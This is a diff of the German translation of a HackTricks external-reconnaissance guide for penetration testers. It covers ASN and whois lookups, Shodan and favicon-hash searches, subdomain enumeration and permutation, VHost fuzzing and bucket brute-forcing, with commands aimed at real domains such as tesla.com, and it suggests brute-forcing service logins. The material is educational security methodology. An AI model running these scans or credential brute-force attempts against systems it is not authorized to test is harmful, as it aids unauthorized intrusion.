Translated ['generic-methodologies-and-resources/external-recon-methodol
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 71 KiB |
Before Width: | Height: | Size: 71 KiB After Width: | Height: | Size: 65 KiB |
Before Width: | Height: | Size: 65 KiB After Width: | Height: | Size: 42 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 201 KiB |
|
@ -161,6 +161,7 @@
|
|||
* [macOS Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md)
|
||||
* [macOS Proces Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md)
|
||||
* [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md)
|
||||
* [macOS Chromium Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md)
|
||||
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
||||
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
|
||||
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
|
@ -509,7 +510,7 @@
|
|||
* [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
|
||||
* [50030,50060,50070,50075,50090 - Pentesting Hadoop](network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md)
|
||||
|
||||
## 🕸 Pentesting Web
|
||||
## 🕸️ Pentesting Web
|
||||
|
||||
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md)
|
||||
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||
|
@ -664,7 +665,7 @@
|
|||
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
|
||||
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
|
||||
|
||||
## ⛈ Cloud Security
|
||||
## ⛈️ Cloud Security
|
||||
|
||||
* [Pentesting Kubernetes](https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security)
|
||||
* [Pentesting Cloud (AWS, GCP, Az...)](https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology)
|
||||
|
@ -722,7 +723,7 @@
|
|||
* [ICMPsh](backdoors/icmpsh.md)
|
||||
* [Cobalt Strike](c2/cobalt-strike.md)
|
||||
|
||||
## ✍ TODO
|
||||
## ✍️ TODO
|
||||
|
||||
* [Other Big References](misc/references.md)
|
||||
* [Rust Basics](todo/rust-basics.md)
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
|
@ -14,7 +14,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -28,8 +28,8 @@ Das Ziel dieser Phase ist es, alle **Unternehmen, die dem Hauptunternehmen gehö
|
|||
|
||||
1. Die Übernahmen des Hauptunternehmens finden, dies gibt uns die Unternehmen im Rahmen.
|
||||
2. Die ASN (falls vorhanden) jedes Unternehmens finden, dies gibt uns die IP-Bereiche, die von jedem Unternehmen besessen werden.
|
||||
3. Reverse-Whois-Lookups verwenden, um nach anderen Einträgen (Organisationsnamen, Domains...) im Zusammenhang mit dem ersten zu suchen (dies kann rekursiv durchgeführt werden).
|
||||
4. Andere Techniken wie Shodan `org` und `ssl`-Filter verwenden, um nach anderen Vermögenswerten zu suchen (der `ssl`-Trick kann rekursiv durchgeführt werden).
|
||||
3. Reverse-Whois-Suchen verwenden, um nach anderen Einträgen (Organisationsnamen, Domains...) im Zusammenhang mit dem ersten zu suchen (dies kann rekursiv durchgeführt werden).
|
||||
4. Andere Techniken wie Shodan `org`und `ssl`-Filter verwenden, um nach anderen Vermögenswerten zu suchen (der `ssl`-Trick kann rekursiv durchgeführt werden).
|
||||
|
||||
### **Übernahmen**
|
||||
|
||||
|
@ -46,13 +46,13 @@ Ein **AS** besteht aus **Blöcken** von **IP-Adressen**, die eine klar definiert
|
|||
|
||||
Es ist interessant zu erfahren, ob das **Unternehmen eine ASN zugewiesen hat**, um seine **IP-Bereiche zu finden**. Es wird interessant sein, einen **Vulnerabilitätstest** gegen alle **Hosts** im **Rahmen** durchzuführen und nach Domains innerhalb dieser IPs zu suchen.\
|
||||
Sie können nach dem Unternehmensnamen, nach der IP oder nach der Domain unter [**https://bgp.he.net/**](https://bgp.he.net)** suchen.**\
|
||||
**Je nach Region des Unternehmens könnten diese Links nützlich sein, um mehr Daten zu sammeln:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nordamerika),** [**APNIC**](https://www.apnic.net) **(Asien),** [**LACNIC**](https://www.lacnic.net) **(Lateinamerika),** [**RIPE NCC**](https://www.ripe.net) **(Europa). In jedem Fall erscheinen wahrscheinlich alle** nützlichen Informationen **(IP-Bereiche und Whois)** bereits im ersten Link.
|
||||
**Je nach Region des Unternehmens könnten diese Links nützlich sein, um mehr Daten zu sammeln:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nordamerika),** [**APNIC**](https://www.apnic.net) **(Asien),** [**LACNIC**](https://www.lacnic.net) **(Lateinamerika),** [**RIPE NCC**](https://www.ripe.net) **(Europa). Wie auch immer, wahrscheinlich erscheinen bereits alle** nützlichen Informationen **(IP-Bereiche und Whois)** im ersten Link.
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
amass intel -asn 8911,50313,394161
|
||||
```
|
||||
Auch [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** Subdomain-Enumeration aggregiert automatisch ASNs am Ende des Scans und fasst sie zusammen.
|
||||
Auch die Subdomain-Enumeration von [**BBOT**](https://github.com/blacklanternsecurity/bbot) aggregiert und fasst automatisch ASNs am Ende des Scans zusammen.
|
||||
```bash
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
...
|
||||
|
@ -69,14 +69,14 @@ bbot -t tesla.com -f subdomain-enum
|
|||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
|
||||
```
|
||||
Du kannst die IP-Bereiche einer Organisation auch unter Verwendung von [http://asnlookup.com/](http://asnlookup.com) finden (es hat eine kostenlose API).\
|
||||
Du kannst die IP und ASN einer Domain unter Verwendung von [http://ipv4info.com/](http://ipv4info.com) finden.
|
||||
Du kannst die IP-Bereiche einer Organisation auch unter Verwendung von [http://asnlookup.com/](http://asnlookup.com) (es hat eine kostenlose API) finden.\
|
||||
Du kannst die IP-Adresse und ASN einer Domain unter Verwendung von [http://ipv4info.com/](http://ipv4info.com) finden.
|
||||
|
||||
### **Suche nach Schwachstellen**
|
||||
|
||||
Zu diesem Zeitpunkt kennen wir **alle Assets im Umfang**, daher könntest du, wenn erlaubt, einen **Schwachstellen-Scanner** (Nessus, OpenVAS) über alle Hosts starten.\
|
||||
Außerdem könntest du einige [**Port-Scans**](../pentesting-network/#discovering-hosts-from-the-outside) durchführen **oder Dienste wie** Shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was du findest, solltest du** in diesem Buch nachsehen, wie du verschiedene mögliche Dienste pentesten kannst.\
|
||||
**Außerdem könnte es sich lohnen zu erwähnen, dass du auch einige** Standard-Benutzername **und** Passwortlisten **vorbereiten und versuchen kannst, Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu brute-forcen.
|
||||
**Außerdem könnte es sich lohnen zu erwähnen, dass du auch einige** Standard-Benutzernamen **und** Passwortlisten **vorbereiten und versuchen kannst, Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu brute-forcen.
|
||||
|
||||
## Domains
|
||||
|
||||
|
@ -84,7 +84,7 @@ Außerdem könntest du einige [**Port-Scans**](../pentesting-network/#discoverin
|
|||
|
||||
_Bitte beachte, dass du in den folgenden vorgeschlagenen Techniken auch Subdomains finden kannst und diese Informationen nicht unterschätzt werden sollten._
|
||||
|
||||
Zuerst solltest du nach den **Hauptdomains** jeder Firma suchen. Zum Beispiel ist für _Tesla Inc._ wird es _tesla.com_ sein.
|
||||
Zuerst solltest du nach den **Hauptdomains** jedes Unternehmens suchen. Zum Beispiel ist für _Tesla Inc._ wird es _tesla.com_ sein.
|
||||
|
||||
### **Reverse DNS**
|
||||
|
||||
|
@ -95,24 +95,21 @@ dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
|||
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
```
|
||||
Um dies zu ermöglichen, muss der Administrator manuell das PTR aktivieren.\
|
||||
Sie können auch ein Online-Tool für diese Informationen verwenden: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
### **Rückwärtssuche Whois (Schleife)**
|
||||
|
||||
### **Reverse Whois (Schleife)**
|
||||
|
||||
Innerhalb eines **whois** können Sie viele interessante **Informationen** wie **Organisationsname**, **Adresse**, **E-Mails**, Telefonnummern finden... Aber noch interessanter ist, dass Sie **weitere Assets im Zusammenhang mit dem Unternehmen** finden können, wenn Sie **Reverse-Whois-Suchen nach einem dieser Felder durchführen** (zum Beispiel in anderen Whois-Registern, in denen dieselbe E-Mail erscheint).\
|
||||
Sie können Online-Tools wie:
|
||||
Innerhalb eines **whois** können Sie viele interessante **Informationen** wie **Organisationsname**, **Adresse**, **E-Mails**, Telefonnummern finden... Aber noch interessanter ist, dass Sie **weitere Assets im Zusammenhang mit dem Unternehmen** finden können, wenn Sie **Rückwärtssuchen im Whois nach einem dieser Felder** durchführen (zum Beispiel in anderen Whois-Registern, in denen dieselbe E-Mail-Adresse erscheint).\
|
||||
Sie können Online-Tools wie folgt verwenden:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Kostenlos**
|
||||
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Kostenlos**
|
||||
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Kostenlos**
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Kostenlos** Web, nicht kostenloses API.
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Kostenlos** web, nicht kostenloses API.
|
||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Nicht kostenlos
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nicht kostenlos (nur **100 kostenlose** Suchen)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Nicht kostenlos
|
||||
|
||||
Sie können diese Aufgabe automatisieren, indem Sie [**DomLink** ](https://github.com/vysecurity/DomLink)verwenden (erfordert einen Whoxy-API-Schlüssel).\
|
||||
Sie können auch automatische Reverse-Whois-Entdeckungen mit [amass](https://github.com/OWASP/Amass) durchführen: `amass intel -d tesla.com -whois`
|
||||
Sie können auch einige automatische Rückwärtssuchen im Whois mit [amass](https://github.com/OWASP/Amass) durchführen: `amass intel -d tesla.com -whois`
|
||||
|
||||
**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal, wenn Sie eine neue Domain finden, weitere Domainnamen zu entdecken.**
|
||||
|
||||
|
@ -131,7 +128,7 @@ Es gibt einige Seiten und Tools, mit denen Sie nach diesen Trackern und mehr suc
|
|||
|
||||
### **Favicon**
|
||||
|
||||
Wussten Sie, dass wir verwandte Domains und Subdomains zu unserem Ziel finden können, indem wir nach demselben Favicon-Icon-Hash suchen? Genau das macht das [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)-Tool von [@m4ll0k2](https://twitter.com/m4ll0k2). So verwenden Sie es:
|
||||
Wussten Sie, dass wir verwandte Domains und Subdomains unseres Ziels finden können, indem wir nach demselben Favicon-Icon-Hash suchen? Genau das macht das [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)-Tool von [@m4ll0k2](https://twitter.com/m4ll0k2). So verwenden Sie es:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
@ -140,11 +137,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
Einfach ausgedrückt ermöglicht es uns favihash, Domains zu entdecken, die denselben Favicon-Symbol-Hash wie unser Ziel haben.
|
||||
|
||||
Darüber hinaus können Sie auch Technologien mithilfe des Favicon-Hash suchen, wie in [**diesem Blog-Beitrag**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) erklärt. Das bedeutet, dass Sie, wenn Sie den **Hash des Favicons einer verwundbaren Version einer Web-Technologie** kennen, in Shodan danach suchen können und **mehr verwundbare Stellen finden**.
|
||||
Darüber hinaus können Sie auch Technologien mithilfe des Favicon-Hash suchen, wie in [**diesem Blog-Beitrag**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) erklärt. Das bedeutet, dass Sie, wenn Sie den **Hash des Favicons einer verwundbaren Version einer Web-Technologie** kennen, in Shodan danach suchen können und **mehr verwundbare Stellen finden**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
So berechnen Sie den **Favicon-Hash** einer Webseite:
|
||||
Das ist, wie du den **Favicon-Hash berechnen** kannst einer Webseite:
|
||||
```python
|
||||
import mmh3
|
||||
import requests
|
||||
|
@ -159,7 +156,7 @@ return fhash
|
|||
```
|
||||
### **Urheberrecht / Eindeutiger String**
|
||||
|
||||
Suchen Sie in den Webseiten nach **Zeichenfolgen, die in der gleichen Organisation auf verschiedenen Websites geteilt werden könnten**. Die **Urheberrechtszeichenfolge** könnte ein gutes Beispiel sein. Suchen Sie dann nach dieser Zeichenfolge in **Google**, in anderen **Browsern** oder sogar in **Shodan**: `shodan search http.html:"Urheberrechtszeichenfolge"`
|
||||
Suchen Sie in den Webseiten nach **Zeichenfolgen, die in verschiedenen Websites derselben Organisation geteilt werden könnten**. Die **Urheberrechtszeichenfolge** könnte ein gutes Beispiel sein. Suchen Sie dann nach dieser Zeichenfolge in **Google**, in anderen **Browsern** oder sogar in **Shodan**: `shodan search http.html:"Urheberrechtszeichenfolge"`
|
||||
|
||||
### **CRT-Zeit**
|
||||
|
||||
|
@ -168,52 +165,52 @@ Es ist üblich, einen Cron-Job wie folgt zu haben:
|
|||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
### Externe Aufklärungsmethodik
|
||||
### Externe Recherche-Methodik
|
||||
|
||||
Um alle Domain-Zertifikate auf dem Server zu erneuern, selbst wenn die CA, die dafür verwendet wird, die Generierungszeit nicht im Gültigkeitszeitraum angibt, ist es möglich, **Domänen, die demselben Unternehmen gehören, in den Zertifikatstransparenz-Logs zu finden**.\
|
||||
Um alle Domain-Zertifikate auf dem Server zu erneuern. Dies bedeutet, dass selbst wenn die CA, die dafür verwendet wird, die Zeit, zu der es generiert wurde, nicht im Gültigkeitszeitraum angibt, es möglich ist, **Domains, die demselben Unternehmen gehören, in den Zertifikatstransparenz-Logs zu finden**.\
|
||||
Schauen Sie sich dieses [**Writeup für weitere Informationen**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/) an.
|
||||
|
||||
### **Passive Übernahme**
|
||||
|
||||
Es ist anscheinend üblich, Subdomänen IP-Adressen zuzuweisen, die Cloud-Anbietern gehören, und irgendwann **diese IP-Adresse zu verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher wird durch das **Starten einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **die Kontrolle über einige Subdomänen übernommen**.
|
||||
Es ist anscheinend üblich, dass Personen Subdomains IP-Adressen von Cloud-Anbietern zuweisen und irgendwann **diese IP-Adresse verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher werden durch das **Starten einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **einige Subdomains übernommen**.
|
||||
|
||||
[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das eine VM in DigitalOcean **startet**, die **IPv4** des neuen Geräts **abruft** und in Virustotal nach Subdomänen-Einträgen sucht, die darauf verweisen.
|
||||
[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das **eine VM in DigitalOcean startet**, die **IPv4** des neuen Geräts **abruft** und in Virustotal nach Subdomain-Einträgen sucht, die darauf verweisen.
|
||||
|
||||
### **Andere Methoden**
|
||||
### **Andere Möglichkeiten**
|
||||
|
||||
**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal, wenn Sie eine neue Domain finden, weitere Domainnamen zu entdecken.**
|
||||
|
||||
**Shodan**
|
||||
|
||||
Da Sie bereits den Namen der Organisation kennen, die den IP-Bereich besitzt, können Sie nach diesen Daten in Shodan suchen, indem Sie Folgendes verwenden: `org:"Tesla, Inc."`. Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domänen im TLS-Zertifikat.
|
||||
Da Sie bereits den Namen der Organisation kennen, die den IP-Bereich besitzt, können Sie nach diesen Daten in Shodan suchen, indem Sie Folgendes verwenden: `org:"Tesla, Inc."` Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domains im TLS-Zertifikat.
|
||||
|
||||
Sie könnten auf das **TLS-Zertifikat** der Hauptwebseite zugreifen, den **Organisationsnamen** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller Webseiten suchen, die von **Shodan** bekannt sind, mit dem Filter: `ssl:"Tesla Motors"` oder verwenden Sie ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
Sie könnten auf das **TLS-Zertifikat** der Hauptwebseite zugreifen, den **Organisationsnamen** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller bekannten Webseiten suchen, die von **Shodan** bekannt sind, mit dem Filter: `ssl:"Tesla Motors"` oder verwenden Sie ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **mit einer Hauptdomäne verbundenen Domänen** und **Subdomänen** von ihnen sucht, ziemlich erstaunlich.
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **mit einer Hauptdomain verbundenen Domains** und **Subdomains** von ihnen sucht, ziemlich erstaunlich.
|
||||
|
||||
### **Suche nach Schwachstellen**
|
||||
### **Nach Schwachstellen suchen**
|
||||
|
||||
Überprüfen Sie auf [Domain-Übernahmen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Möglicherweise verwendet ein Unternehmen **eine Domain**, hat aber **die Eigentümerschaft verloren**. Registrieren Sie sie einfach (wenn sie billig genug ist) und informieren Sie das Unternehmen.
|
||||
|
||||
Wenn Sie eine **Domain mit einer anderen IP** als denjenigen finden, die Sie bereits in der Assets-Entdeckung gefunden haben, sollten Sie einen **grundlegenden Schwachstellen-Scan** durchführen (mit Nessus oder OpenVAS) und einen [**Port-Scan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie "anzugreifen"**.\
|
||||
_Beachten Sie, dass die Domain manchmal in einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, daher nicht im Scope liegt. Seien Sie vorsichtig._
|
||||
_Beachten Sie, dass die Domain manchmal innerhalb einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, daher nicht im Scope liegt, seien Sie vorsichtig._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bug-Bounty-Tipp**: **Melden Sie sich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Treten Sie uns noch heute bei [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) bei und beginnen Sie, Prämien von bis zu **100.000 $** zu verdienen!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Subdomänen
|
||||
## Subdomains
|
||||
|
||||
> Wir kennen alle Unternehmen im Scope, alle Vermögenswerte jedes Unternehmens und alle mit den Unternehmen verbundenen Domänen.
|
||||
> Wir kennen alle Unternehmen im Scope, alle Vermögenswerte jedes Unternehmens und alle mit den Unternehmen verbundenen Domains.
|
||||
|
||||
Es ist an der Zeit, alle möglichen Subdomänen jeder gefundenen Domain zu finden.
|
||||
Es ist an der Zeit, alle möglichen Subdomains jeder gefundenen Domain zu finden.
|
||||
|
||||
### **DNS**
|
||||
|
||||
Versuchen wir, **Subdomänen** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zone Transfer** suchen (Wenn anfällig, sollten Sie es melden).
|
||||
Lassen Sie uns versuchen, **Subdomains** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zone Transfer** suchen (Wenn anfällig, sollten Sie es melden).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
|
@ -393,12 +390,12 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
|||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Neben der Generierung von Subdomain-Permutationen kann es auch versuchen, sie aufzulösen (aber es ist besser, die zuvor kommentierten Tools zu verwenden).
|
||||
* Sie können die altdns Permutationen **Wortliste** [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) erhalten.
|
||||
* Du kannst die altdns Permutationen **Wortliste** [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) bekommen.
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): Ein weiteres Tool zur Durchführung von Permutationen, Mutationen und Änderungen von Subdomains. Dieses Tool wird das Ergebnis per Bruteforce erzwingen (es unterstützt keine DNS-Wildcards).
|
||||
* Sie können die dmut-Permutationswortliste [**hier**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) erhalten.
|
||||
* Du kannst die dmut-Permutationswortliste [**hier**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) erhalten.
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
|
@ -407,19 +404,19 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
|||
|
||||
#### Intelligente Permutationserzeugung
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): Für weitere Informationen lesen Sie diesen [**Beitrag**](https://cramppet.github.io/regulator/index.html), aber es wird im Wesentlichen die **Hauptteile** der **entdeckten Subdomains** erhalten und sie mischen, um mehr Subdomains zu finden.
|
||||
* [**regulator**](https://github.com/cramppet/regulator): Für weitere Informationen lesen Sie diesen [**Beitrag**](https://cramppet.github.io/regulator/index.html), aber im Wesentlichen werden die **Hauptteile** der **entdeckten Subdomains** extrahiert und gemischt, um mehr Subdomains zu finden.
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven DNS-Antwort-gesteuerten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie z.B. eine maßgeschneiderte Wortliste oder historische DNS/TLS-Einträge, um genauere entsprechende Domänennamen zu synthetisieren und sie basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern.
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven DNS-Antwort-geführten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie eine maßgeschneiderte Wortliste oder historische DNS/TLS-Einträge, um genauere entsprechende Domänennamen zu synthetisieren und sie basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
### **Subdomain Discovery Workflow**
|
||||
|
||||
Überprüfen Sie diesen Blog-Beitrag, den ich darüber geschrieben habe, wie Sie die **automatische Entdeckung von Subdomains** von einer Domain mithilfe von **Trickest-Workflows** durchführen können, sodass ich nicht manuell eine Vielzahl von Tools auf meinem Computer starten muss:
|
||||
Überprüfen Sie diesen Blog-Beitrag, den ich darüber geschrieben habe, wie Sie die **Subdomain-Entdeckung automatisieren** können, indem Sie **Trickest-Workflows** verwenden, damit ich nicht manuell eine Reihe von Tools auf meinem Computer starten muss:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -431,7 +428,7 @@ Wenn Sie eine IP-Adresse gefunden haben, die **eine oder mehrere Webseiten** von
|
|||
|
||||
#### OSINT
|
||||
|
||||
Sie können einige **VHosts in IPs mit** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **oder anderen APIs finden**.
|
||||
Sie können einige **VHosts in IPs finden, indem Sie** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **oder andere APIs verwenden**.
|
||||
|
||||
**Brute Force**
|
||||
|
||||
|
@ -459,10 +456,10 @@ Manchmal finden Sie Seiten, die nur den Header _**Access-Control-Allow-Origin**_
|
|||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
### **Eimer-Brute-Force**
|
||||
### **Eimer Brute Force**
|
||||
|
||||
Beim Suchen nach **Subdomains** achten Sie darauf, ob diese auf einen **Eimer** verweisen, und in diesem Fall [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Außerdem, da Sie zu diesem Zeitpunkt alle Domains im Scope kennen, versuchen Sie, [**mögliche Eimernamen zu brute-forcen und die Berechtigungen zu überprüfen**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Beim Suchen nach **Subdomains** achten Sie darauf, ob diese auf einen **Bucket** verweisen, und in diesem Fall [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
